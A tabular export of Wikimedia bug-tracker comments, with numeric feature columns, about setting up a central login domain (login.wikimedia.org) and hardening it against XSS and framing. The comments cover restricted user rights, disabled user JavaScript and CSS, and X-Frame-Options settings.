214131,Implement connection timeout in MediaWiki's Http class,Related URL: https://gerrit.wikimedia.org/r/58247 (Gerrit Change I6e64a8bfc58e899149463d305eac672c1e8ad2ba),,,1365464742,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-6yiimfrbfk7nv3wknn5y,task_subcomment,,True,c2,1,False,,,-21,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I6e64a8bfc58e899149463d305eac672c1e8ad2ba)
48903,"After login, securely redirect user through a central domain to establish a central session","To set a cookie and establish a central session for global users who login, redirect users through a central domain after login.

Initial design is at:
http://www.mediawiki.org/wiki/Auth_systems/SUL2#Redirect_on_Login

--------------------------
**Version**: master
**Severity**: normal",High,80.0,1365107340,1374094953.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-zhg4xs3zbobbyfvdmi54,task_description,resolved,True,c2,1,True,False,True,-21,True,0.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,20.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,6.0,2.0,10.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,10.0,2.0,0.0,0.0,0.0,0.0,0.0,2.0,6.0,0.0,0.0,0.0,0.0,0.0,3.96,0.66,"To set a cookie and establish a central session for global users who login, redirect users through a central domain after login.

Initial design is at:
URL

--------------------------
**Version**: master
**Severity**: normal"
231892,"After login, securely redirect user through a central domain to establish a central session",This is now default on all wikis. Thanks everyone!,,,1374094953,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-zhg4xs3zbobbyfvdmi54,task_subcomment,,True,c2,1,True,,,-6,True,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,27.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,18.0,0.0,0.0,18.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8181818181818183,1.0,This is now default on all wikis. Thanks everyone!
231888,"After login, securely redirect user through a central domain to establish a central session","Change 74262 merged by jenkins-bot:
Enable central login wiki by default

https://gerrit.wikimedia.org/r/74262",,,1374093436,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhg4xs3zbobbyfvdmi54,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,18.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,12.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.411764705882353,0.9411764705882353,"Change 74262 merged by jenkins-bot:
Enable central login wiki by default

GERRIT_URL"
231884,"After login, securely redirect user through a central domain to establish a central session","Change 74262 had a related patch set uploaded by CSteipp:
Enable central login wiki by default

https://gerrit.wikimedia.org/r/74262",,,1374093203,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-zhg4xs3zbobbyfvdmi54,task_subcomment,,True,c2,1,False,,,-6,True,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,25.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,20.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,5.0,0.0,5.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,4.6,0.95,"Change 74262 had a related patch set uploaded by CSteipp:
Enable central login wiki by default

GERRIT_URL"
231881,"After login, securely redirect user through a central domain to establish a central session",Done in Ie3d6523d29ed294c9d9ad44494d2e8f78ff330e9 and follow ups.,,,1371246459,,PHID-USER-bmbmvb2e5bg6ztcangbq,False,,,PHID-TASK-zhg4xs3zbobbyfvdmi54,task_subcomment,,True,c2,1,False,,,-11,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,29.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.571428571428571,1.0,Done in Ie3d6523d29ed294c9d9ad44494d2e8f78ff330e9 and follow ups.
231877,"After login, securely redirect user through a central domain to establish a central session",This seems related to bug 14736.,,,1368682512,,PHID-USER-hyfm4swq76s4j642w46x,False,,,PHID-TASK-zhg4xs3zbobbyfvdmi54,task_subcomment,,True,c2,1,True,,,-15,True,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.857142857142857,1.0,This seems related to bug 14736.
48902,Setup central login domain,"To complete bug 46901, we need a single domain where global users will be logged in, and all of the WMF sites can test check to see if the local wiki should allow a user to login.

Because this website will have a session for every logged in user, the site should:
* Highly restrict the javascript that can run on it
* Minimize the amount of content and features, to reduce the risk for XSS vulnerabilities
* Only be accessible over SSL
* Disallow any iframing

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement",High,80.0,1365107040,1368480871.0,PHID-USER-doeppszazlm3r7xah4il,False,,False,PHID-TASK-tkdu3dmjg742ths2dvjb,task_description,resolved,True,c2,1,True,False,True,-21,True,2.0,0.0,1.0,0.5,0.0,2.5,1.0,0.5,0.0,0.5,1.0,0.0,0.0,1.0,0.0,0.5,0.0,2.0,8.5,0.0,2.5,1.0,0.0,0.0,0.0,1.0,0.0,0.0,1.5,1.0,0.0,0.5,1.0,1.0,0.0,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.0,4.0,0.0,1.0,0.0,1.0,0.0,11.5,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.0,0.0,0.5,1.0,0.0,5.5,1.5,8.5,1.5,1.5,8.0,0.0,0.0,0.0,0.0,9.0,0.0,0.5,0.0,1.5,8.5,3.0,0.0,0.0,0.0,1.5,0.0,1.5,1.5,0.0,1.0,0.0,0.0,0.0,3.889830508474576,0.7457627118644068,"To complete bug 46901, we need a single domain where global users will be logged in, and all of the WMF sites can test check to see if the local wiki should allow a user to login.

Because this website will have a session for every logged in user, the site should:
* Highly restrict the javascript that can run on it
* Minimize the amount of content and features, to reduce the risk for XSS vulnerabilities
* Only be accessible over SSL
* Disallow any iframing

--------------------------
**Version**: wmf-deployment
**Severity**: enhancement"
231845,Setup central login domain,"(In reply to comment #6)
> > (does CentralAuth need 'createaccount' and/or 'centralauth-merge' to create
> > the
> > local account during login?)
> 
> Yes, those will be needed.

'centralauth-merge' is easy

It would look like from the code that 'createaccount' isn't needed if we have 'centralauth-autoaccount' for *

	public function autoCreate() {
		global $wgGroupPermissions;
		// Yes unless account creation is restricted on this wiki
		return !empty( $wgGroupPermissions['*']['createaccount'] )
			|| !empty( $wgGroupPermissions['*']['centralauth-autoaccount'] );
	}


Adding createaccount is going to show the registration stuff...",,,1367522992,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,True,,,-17,True,0.0,0.0,0.0,1.5,0.5,4.0,0.5,0.0,0.0,1.5,0.5,5.5,0.0,0.0,0.0,0.5,0.0,0.5,5.5,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,3.5,1.0,0.5,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.5,0.0,0.0,0.0,9.0,0.5,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.5,0.0,1.0,0.5,0.0,0.0,1.5,3.0,5.5,1.5,0.0,2.5,0.0,0.0,2.0,0.5,2.0,1.0,1.5,0.0,1.0,5.5,4.5,0.0,5.0,0.0,1.0,0.0,0.5,0.0,0.0,2.0,0.0,0.0,1.0,4.245454545454546,0.7181818181818183,"(In reply to comment #6)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

'centralauth-merge' is easy

It would look like from the code that 'createaccount' isn't needed if we have 'centralauth-autoaccount' for *

	public function autoCreate() {
		global $wgGroupPermissions;
		// Yes unless account creation is restricted on this wiki
		return !empty( $wgGroupPermissions['*']['createaccount'] )
			|| !empty( $wgGroupPermissions['*']['centralauth-autoaccount'] );
	}


Adding createaccount is going to show the registration stuff..."
231838,Setup central login domain,Related URL: https://gerrit.wikimedia.org/r/62021 (Gerrit Change I3668326cc715708eeb7ff9d8350b67dd03c2a947),,,1367522119,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I3668326cc715708eeb7ff9d8350b67dd03c2a947)
231830,Setup central login domain,Related URL: https://gerrit.wikimedia.org/r/62020 (Gerrit Change I03b88050bb253fa91240d1797c754d5084392a75),,,1367521971,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,44.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change I03b88050bb253fa91240d1797c754d5084392a75)
231822,Setup central login domain,Related URL: https://gerrit.wikimedia.org/r/62002 (Gerrit Change Ieef88a12cf396bca66a0f890b0fe4b4e3223751d),,,1367516780,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,False,,,-17,True,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,67.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.444444444444445,1.0,Related URL: GERRIT_URL (Gerrit Change Ieef88a12cf396bca66a0f890b0fe4b4e3223751d)
231815,Setup central login domain,"**pgehres** wrote:

(In reply to comment #7)
> At the same time it might be easier just to put some of these directly into
> CommonSettings to begin with - we can loop to set all rights not to be kept
> etc. Might just generally be cleaner than tens of => false on different
> options

I definitely like the idea of explicitly assigning all rights on this wiki as opposed to disabling everything that we can think of (i.e. remove ALL rights and then add back).",,,1366822877,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,False,,,-18,True,3.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,7.0,12.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,7.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,12.0,0.0,2.0,7.0,0.0,0.0,0.0,2.0,7.0,0.0,2.0,0.0,3.0,12.0,3.0,0.0,0.0,0.0,3.0,0.0,2.0,0.0,0.0,3.0,0.0,0.0,2.0,3.542372881355932,0.7457627118644068,"**pgehres** wrote:

(In reply to comment #7)
QUOTE
QUOTE
QUOTE
QUOTE

I definitely like the idea of explicitly assigning all rights on this wiki as opposed to disabling everything that we can think of (i.e. remove ALL rights and then add back)."
231809,Setup central login domain,"Might be worth starting a changeset in mediawiki-config for this wiki. Makes it easier to review, and it can be updated collaboratively.. :D

At the same time it might be easier just to put some of these directly into CommonSettings to begin with - we can loop to set all rights not to be kept etc. Might just generally be cleaner than tens of => false on different options",,,1366822748,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,True,,,-18,True,3.0,0.0,0.0,3.0,1.0,9.0,4.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,8.0,18.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,1.0,0.0,4.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,3.0,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,3.0,6.0,6.0,0.0,1.0,8.0,0.0,1.0,0.0,0.0,13.0,0.0,0.0,0.0,6.0,18.0,4.0,0.0,0.0,0.0,6.0,0.0,0.0,1.0,0.0,1.0,4.0,0.0,4.0,3.9740259740259742,0.7792207792207793,"Might be worth starting a changeset in mediawiki-config for this wiki. Makes it easier to review, and it can be updated collaboratively.. :D

At the same time it might be easier just to put some of these directly into CommonSettings to begin with - we can loop to set all rights not to be kept etc. Might just generally be cleaner than tens of => false on different options"
231803,Setup central login domain,"(In reply to comment #5)

> You'd probably also want $wgAllowUserJs and $wgAllowUserCss set to false.

Yes, please.

> Take away everything except 'read' from *, users, and autoconfirmed? ;)

I actually do think this is a good idea. If we decide later it's desired, then we can always add rights.

> (does CentralAuth need 'createaccount' and/or 'centralauth-merge' to create
> the
> local account during login?)

Yes, those will be needed.",,,1366818402,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,True,,,-18,True,0.0,0.0,0.0,2.0,0.0,2.0,2.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,5.0,0.0,7.0,5.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,7.0,4.0,2.0,5.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,2.0,4.0,18.0,2.0,0.0,5.0,0.0,0.0,0.0,2.0,7.0,5.0,2.0,0.0,7.0,5.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,3.087719298245614,0.7017543859649122,"(In reply to comment #5)

QUOTE

Yes, please.

QUOTE

I actually do think this is a good idea. If we decide later it's desired, then we can always add rights.

QUOTE
QUOTE
QUOTE

Yes, those will be needed."
231798,Setup central login domain,"(In reply to comment #2)
> (In reply to comment #1)
> > Could take away editinterface away from sysops, But that means they can't
> > edit
> > any message in the mediawiki ns, Which would be bad. But stops any of the
> > edits
> > to js/css that effects all users
> 
> A number of people should have access, but some number less than the
> thousands
> that can edit enwiki would be nice ;)

Isn't that just a matter of not giving many people sysop? Or you could do as mentioned in comment #1 (remove editinterface from sysops) and give editinterface to a different, more limited group.

You'd probably also want $wgAllowUserJs and $wgAllowUserCss set to false.

> > > * Disallow any iframing
> > 
> > We do this by default these days iirc, Or at least tim has coded it.
> 
> There are a lot of pages (e.g., action=view for articles) that override that,
> unfortunately. We would probably clean those up so we can disable all of
> them.

There's already $wgBreakFrames that looks like it would force anything using OutputPage::output() to always set X-Frame-Options: DENY.

But be careful you don't break the iframe-based login check from Gerrit change 58924. Since it doesn't use OutputPage::output(), it should be safe from $wgBreakFrames.


> Most of the XSS we've seen have required some input. My preference would be
> no user controlled data.

Take away everything except 'read' from *, users, and autoconfirmed? ;)

(does CentralAuth need 'createaccount' and/or 'centralauth-merge' to create the local account during login?)",,,1366810616,,PHID-USER-uqcn2l4ng4murmyfnvyp,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,True,,,-18,True,0.3333333333333333,0.6666666666666666,0.0,0.0,1.3333333333333333,2.6666666666666665,1.0,0.0,0.0,0.0,1.0,4.333333333333333,0.0,0.0,0.3333333333333333,0.0,0.0,4.0,6.666666666666667,0.6666666666666666,1.0,0.3333333333333333,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.3333333333333333,0.6666666666666666,0.3333333333333333,2.6666666666666665,0.3333333333333333,1.3333333333333333,1.6666666666666667,1.0,0.0,0.0,0.3333333333333333,0.0,0.0,0.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,11.0,0.0,0.3333333333333333,0.0,0.6666666666666666,0.0,0.3333333333333333,0.0,0.0,0.6666666666666666,0.0,0.3333333333333333,1.0,0.3333333333333333,0.0,0.0,0.3333333333333333,0.0,1.3333333333333333,1.0,12.666666666666666,1.0,2.3333333333333335,1.6666666666666667,0.0,0.3333333333333333,0.0,0.6666666666666666,5.333333333333333,0.0,1.0,0.0,2.3333333333333335,6.666666666666667,8.333333333333334,1.3333333333333333,3.0,0.0,2.3333333333333335,0.0,0.3333333333333333,0.6666666666666666,0.0,0.6666666666666666,0.3333333333333333,0.0,0.0,3.8506678033532253,0.6895424836601306,"(In reply to comment #2)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Isn't that just a matter of not giving many people sysop? Or you could do as mentioned in comment #1 (remove editinterface from sysops) and give editinterface to a different, more limited group.

You'd probably also want $wgAllowUserJs and $wgAllowUserCss set to false.

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

There's already $wgBreakFrames that looks like it would force anything using OutputPage::output() to always set X-Frame-Options: DENY.

But be careful you don't break the iframe-based login check from Gerrit change 58924. Since it doesn't use OutputPage::output(), it should be safe from $wgBreakFrames.


QUOTE
QUOTE

Take away everything except 'read' from *, users, and autoconfirmed? ;)

(does CentralAuth need 'createaccount' and/or 'centralauth-merge' to create the local account during login?)"
231790,Setup central login domain,"(In reply to comment #3)
> The domain has been finalized as login.wikimedia.org.
> 
> It has been described as a reverse-fishbowl in that only global accounts are
> allowed -- there will be no local accounts.

Is there any other needed initial configuration?",,,1366739458,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,True,,,-19,True,4.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,24.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,4.0,0.0,4.0,0.0,0.0,8.0,8.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.52,0.76,"(In reply to comment #3)
QUOTE
QUOTE
QUOTE
QUOTE

Is there any other needed initial configuration?"
231784,Setup central login domain,"**pgehres** wrote:

The domain has been finalized as login.wikimedia.org.

It has been described as a reverse-fishbowl in that only global accounts are allowed -- there will be no local accounts.",,,1366738354,,PHID-USER-ynivjflmc2dcl6w5ut5v,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,False,,,-19,True,0.0,0.0,0.0,7.0,0.0,5.0,2.0,0.0,0.0,0.0,7.0,0.0,0.0,2.0,2.0,0.0,0.0,2.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,7.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,22.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,5.0,10.0,5.0,2.0,0.0,7.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,10.0,2.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.097560975609756,0.7804878048780488,"**pgehres** wrote:

The domain has been finalized as login.wikimedia.org.

It has been described as a reverse-fishbowl in that only global accounts are allowed -- there will be no local accounts."
231778,Setup central login domain,"(In reply to comment #1)
> Could take away editinterface away from sysops, But that means they can't
> edit
> any message in the mediawiki ns, Which would be bad. But stops any of the
> edits
> to js/css that effects all users

A number of people should have access, but some number less than the thousands that can edit enwiki would be nice ;)

> > * Minimize the amount of content and features, to reduce the risk for XSS
> > vulnerabilities
> 
> Depending on what context you want it to be used, eg: central place for
> userpages, You wouldn't need many extensions that are outside the group thats
> defaultly enabled. 

Most of the XSS we've seen have required some input. My preference would be no user controlled data. If it seems best to also use it for global user profiles, we'll need to be extra paranoid about what extensions are enabled.

> > * Disallow any iframing
> 
> We do this by default these days iirc, Or at least tim has coded it.

There are a lot of pages (e.g., action=view for articles) that override that, unfortunately. We would probably clean those up so we can disable all of them.",,,1365170745,,PHID-USER-doeppszazlm3r7xah4il,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,True,,,-21,True,1.5,0.0,0.0,0.5,0.0,4.0,1.5,0.0,0.0,0.5,1.0,1.0,0.0,0.0,0.5,3.0,0.0,3.5,9.5,0.0,2.0,0.5,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,4.0,0.5,1.5,1.0,0.0,0.5,0.0,0.0,0.5,0.5,0.5,0.0,1.5,0.0,0.0,0.0,0.5,0.0,13.0,1.5,0.5,0.0,1.0,0.0,0.0,0.0,0.5,0.0,0.0,0.0,0.5,0.5,0.0,0.0,0.5,0.0,2.0,3.0,12.0,1.5,0.5,6.0,0.0,0.0,0.0,0.5,6.0,0.0,0.5,0.0,5.0,9.5,5.0,0.0,0.0,0.0,5.0,0.0,2.0,1.0,0.5,0.0,0.5,1.0,0.0,3.625,0.6875,"(In reply to comment #1)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

A number of people should have access, but some number less than the thousands that can edit enwiki would be nice ;)

QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Most of the XSS we've seen have required some input. My preference would be no user controlled data. If it seems best to also use it for global user profiles, we'll need to be extra paranoid about what extensions are enabled.

QUOTE
QUOTE
QUOTE

There are a lot of pages (e.g., action=view for articles) that override that, unfortunately. We would probably clean those up so we can disable all of them."
231772,Setup central login domain,"(In reply to comment #0)
> To complete bug 46901, we need a single domain where global users will be
> logged in, and all of the WMF sites can test check to see if the local wiki
> should allow a user to login.
> 
> Because this website will have a session for every logged in user, the site
> should:
> * Highly restrict the javascript that can run on it

Could take away editinterface away from sysops, But that means they can't edit any message in the mediawiki ns, Which would be bad. But stops any of the edits to js/css that effects all users

> * Minimize the amount of content and features, to reduce the risk for XSS
> vulnerabilities

Depending on what context you want it to be used, eg: central place for userpages, You wouldn't need many extensions that are outside the group thats defaultly enabled. 

> * Disallow any iframing

We do this by default these days iirc, Or at least tim has coded it.",,,1365128885,,PHID-USER-hwuumsjqciw7ji5qhpc7,False,,,PHID-TASK-tkdu3dmjg742ths2dvjb,task_subcomment,,True,c2,1,False,,,-21,True,2.5,0.0,0.0,1.0,1.5,3.0,1.5,0.0,0.0,0.0,1.0,1.5,0.0,0.0,0.0,1.0,0.0,4.0,8.0,0.0,1.5,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.5,1.5,0.0,5.5,0.5,1.5,1.0,1.5,0.0,0.5,0.0,0.0,0.0,0.5,0.0,1.0,0.0,0.5,0.0,2.0,0.0,11.5,0.5,1.5,0.5,0.0,0.0,0.0,0.0,1.0,0.0,0.0,1.0,1.5,0.0,0.5,0.0,2.0,0.0,2.0,2.0,11.5,0.0,2.0,7.0,0.0,0.0,0.0,0.5,3.5,0.0,0.5,0.0,4.5,8.0,6.5,0.0,0.0,0.0,4.5,0.0,3.5,0.0,0.0,1.0,0.0,1.0,0.0,3.578397673188789,0.764806980433633,"(In reply to comment #0)
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

Could take away editinterface away from sysops, But that means they can't edit any message in the mediawiki ns, Which would be bad. But stops any of the edits to js/css that effects all users

